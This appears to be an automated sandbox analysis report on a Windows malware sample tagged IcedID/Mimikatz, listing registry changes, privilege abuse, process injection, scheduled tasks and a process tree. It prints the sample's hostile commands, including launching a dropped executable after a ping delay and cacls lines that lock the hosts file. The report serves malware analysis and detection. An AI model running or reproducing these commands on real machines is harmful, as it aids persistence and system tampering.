\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language xohudmc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 2396 cmd.exe 2392 PING.EXE -
NSIS installer 3 IoCs
resource yara_rule behavioral1/files/0x0007000000018780-5.dat nsis_installer_2 behavioral1/files/0x0004000000004ed7-16.dat nsis_installer_1 behavioral1/files/0x0004000000004ed7-16.dat nsis_installer_2 -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs gevvryv.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates gevvryv.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs gevvryv.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad gevvryv.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs gevvryv.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs gevvryv.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" sbigaauav.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" sbigaauav.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\3a-f8-31-4f-dd-69\WpadDetectedUrl gevvryv.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates gevvryv.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 gevvryv.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 gevvryv.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump sbigaauav.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{308F1C2A-EC49-4C7C-9C15-20B03C7C5970} gevvryv.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings gevvryv.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs gevvryv.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\3a-f8-31-4f-dd-69\WpadDecision = "0" gevvryv.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My gevvryv.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates gevvryv.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" sbigaauav.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing gevvryv.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root gevvryv.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs gevvryv.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\3a-f8-31-4f-dd-69\WpadDecisionTime = c0fdc50d27e3da01 gevvryv.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates gevvryv.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" sbigaauav.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed gevvryv.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ gevvryv.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{308F1C2A-EC49-4C7C-9C15-20B03C7C5970}\WpadDecision = "0" gevvryv.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople gevvryv.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump sbigaauav.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates gevvryv.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs gevvryv.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" gevvryv.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs gevvryv.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs gevvryv.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings gevvryv.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates gevvryv.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs gevvryv.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" gevvryv.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" sbigaauav.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump sbigaauav.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software sbigaauav.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump sbigaauav.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates gevvryv.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust gevvryv.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe -
Modifies registry class 14 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" gevvryv.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 gevvryv.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 gevvryv.exe -
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2392 PING.EXE -
Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1680 schtasks.exe 2304 schtasks.exe 2892 schtasks.exe -
Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs
pid Process 2240 gevvryv.exe 3964 gevvryv.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe -
Suspicious behavior: LoadsDriver 31 IoCs
pid Process 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found -
Suspicious behavior: RenamesItself 1 IoCs
pid Process 2888 2024-07-31_89e0dd7da27ee564ac33cdf193025dd2_hacktools_icedid_mimikatz.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
description pid Process Token: SeDebugPrivilege 2888 2024-07-31_89e0dd7da27ee564ac33cdf193025dd2_hacktools_icedid_mimikatz.exe Token: SeDebugPrivilege 2580 gevvryv.exe Token: SeDebugPrivilege 2816 gevvryv.exe Token: SeDebugPrivilege 1472 vfshost.exe Token: SeAuditPrivilege 2760 svchost.exe Token: SeDebugPrivilege 2960 sbigaauav.exe Token: SeShutdownPrivilege 2960 sbigaauav.exe Token: SeLockMemoryPrivilege 576 riflvg.exe Token: SeLockMemoryPrivilege 576 riflvg.exe Token: SeDebugPrivilege 2992 sbigaauav.exe Token: SeShutdownPrivilege 2992 sbigaauav.exe Token: SeDebugPrivilege 1600 sbigaauav.exe Token: SeShutdownPrivilege 1600 sbigaauav.exe Token: SeDebugPrivilege 2544 sbigaauav.exe Token: SeShutdownPrivilege 2544 sbigaauav.exe Token: SeDebugPrivilege 2624 sbigaauav.exe Token: SeShutdownPrivilege 2624 sbigaauav.exe Token: SeDebugPrivilege 2688 sbigaauav.exe Token: SeShutdownPrivilege 2688 sbigaauav.exe Token: SeDebugPrivilege 2500 sbigaauav.exe Token: SeShutdownPrivilege 2500 sbigaauav.exe Token: SeDebugPrivilege 2908 sbigaauav.exe Token: SeShutdownPrivilege 2908 sbigaauav.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 2888 2024-07-31_89e0dd7da27ee564ac33cdf193025dd2_hacktools_icedid_mimikatz.exe 2888 2024-07-31_89e0dd7da27ee564ac33cdf193025dd2_hacktools_icedid_mimikatz.exe 2580 gevvryv.exe 2580 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 1500 xohudmc.exe 2036 dqljao.exe 2240 gevvryv.exe 2240 gevvryv.exe 3964 gevvryv.exe 3964 gevvryv.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2888 wrote to memory of 2396 2888 2024-07-31_89e0dd7da27ee564ac33cdf193025dd2_hacktools_icedid_mimikatz.exe 30 PID 2888 wrote to memory of 2396 2888 2024-07-31_89e0dd7da27ee564ac33cdf193025dd2_hacktools_icedid_mimikatz.exe 30 PID 2888 wrote to memory of 2396 2888 2024-07-31_89e0dd7da27ee564ac33cdf193025dd2_hacktools_icedid_mimikatz.exe 30 PID 2888 wrote to memory of 2396 2888 2024-07-31_89e0dd7da27ee564ac33cdf193025dd2_hacktools_icedid_mimikatz.exe 30 PID 2396 wrote to memory of 2392 2396 cmd.exe 32 PID 2396 wrote to memory of 2392 2396 cmd.exe 32 PID 2396 wrote to memory of 2392 2396 cmd.exe 32 PID 2396 wrote to memory of 2392 2396 cmd.exe 32 PID 2396 wrote to memory of 2580 2396 cmd.exe 33 PID 2396 wrote to memory of 2580 2396 cmd.exe 33 PID 2396 wrote to memory of 2580 2396 cmd.exe 33 PID 2396 wrote to memory of 2580 2396 cmd.exe 33 PID 2816 wrote to memory of 2772 2816 gevvryv.exe 35 PID 2816 wrote to memory of 2772 2816 gevvryv.exe 35 PID 2816 wrote to memory of 2772 2816 gevvryv.exe 35 PID 2816 wrote to memory of 2772 2816 gevvryv.exe 35 PID 2772 wrote to memory of 2848 2772 cmd.exe 37 PID 2772 wrote to memory of 2848 2772 cmd.exe 37 PID 2772 wrote to memory of 2848 2772 cmd.exe 37 PID 2772 wrote to memory of 2848 2772 cmd.exe 37 PID 2772 wrote to memory of 2852 2772 cmd.exe 38 PID 2772 wrote to memory of 2852 2772 cmd.exe 38 PID 2772 wrote to memory of 2852 2772 cmd.exe 38 PID 2772 wrote to memory of 2852 2772 cmd.exe 38 PID 2772 wrote to memory of 2776 2772 cmd.exe 39 PID 2772 wrote to memory of 2776 2772 cmd.exe 39 PID 2772 wrote to memory of 2776 2772 cmd.exe 39 PID 2772 wrote to memory of 2776 2772 cmd.exe 39 PID 2772 wrote to memory of 2872 2772 cmd.exe 40 PID 2772 wrote to memory of 2872 2772 cmd.exe 40 PID 2772 wrote to memory of 2872 2772 cmd.exe 40 PID 2772 wrote to memory of 2872 2772 cmd.exe 40 PID 2772 wrote to memory of 2636 2772 cmd.exe 41 PID 2772 wrote to memory of 2636 2772 cmd.exe 41 PID 2772 wrote to memory of 2636 2772 cmd.exe 41 PID 2772 wrote to memory of 2636 2772 cmd.exe 41 PID 2772 wrote to memory of 2904 2772 cmd.exe 42 PID 2772 wrote to memory of 2904 2772 cmd.exe 42 PID 2772 wrote to memory of 2904 2772 cmd.exe 42 PID 2772 wrote to memory of 2904 2772 cmd.exe 42 PID 2816 wrote to memory of 2612 2816 gevvryv.exe 44 PID 2816 wrote to memory of 2612 2816 gevvryv.exe 44 PID 2816 wrote to memory of 2612 2816 gevvryv.exe 44 PID 2816 wrote to memory of 2612 2816 gevvryv.exe 44 PID 2816 wrote to memory of 3000 2816 gevvryv.exe 46 PID 2816 wrote to memory of 3000 2816 gevvryv.exe 46 PID 2816 wrote to memory of 3000 2816 gevvryv.exe 46 PID 2816 wrote to memory of 3000 2816 gevvryv.exe 46 PID 2816 wrote to memory of 3020 2816 gevvryv.exe 48 PID 2816 wrote to memory of 3020 2816 gevvryv.exe 48 PID 2816 wrote to memory of 3020 2816 gevvryv.exe 48 PID 2816 wrote to memory of 3020 2816 gevvryv.exe 48 PID 2816 wrote to memory of 2040 2816 gevvryv.exe 50 PID 2816 wrote to memory of 2040 2816 gevvryv.exe 50 PID 2816 wrote to memory of 2040 2816 gevvryv.exe 50 PID 2816 wrote to memory of 2040 2816 gevvryv.exe 50 PID 2040 wrote to memory of 1116 2040 cmd.exe 52 PID 2040 wrote to memory of 1116 2040 cmd.exe 52 PID 2040 wrote to memory of 1116 2040 cmd.exe 52 PID 2040 wrote to memory of 1116 2040 cmd.exe 52 PID 2040 wrote to memory of 1116 2040 cmd.exe 52 PID 2040 wrote to memory of 1116 2040 cmd.exe 52 PID 2040 wrote to memory of 1116 2040 cmd.exe 52 PID 1116 wrote to memory of 1436 1116 wpcap.exe 53
Processes
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1048
-
C:\Windows\TEMP\qamknffpe\riflvg.exe"C:\Windows\TEMP\qamknffpe\riflvg.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:576
-
-
C:\Users\Admin\AppData\Local\Temp\2024-07-31_89e0dd7da27ee564ac33cdf193025dd2_hacktools_icedid_mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\2024-07-31_89e0dd7da27ee564ac33cdf193025dd2_hacktools_icedid_mimikatz.exe"1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2888 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\mitkhive\gevvryv.exe2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:2396 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2392
-
-
C:\Windows\mitkhive\gevvryv.exeC:\Windows\mitkhive\gevvryv.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2580
-
-
-
C:\Windows\mitkhive\gevvryv.exeC:\Windows\mitkhive\gevvryv.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2816 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Suspicious use of WriteProcessMemory
PID:2772 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2848
-
-
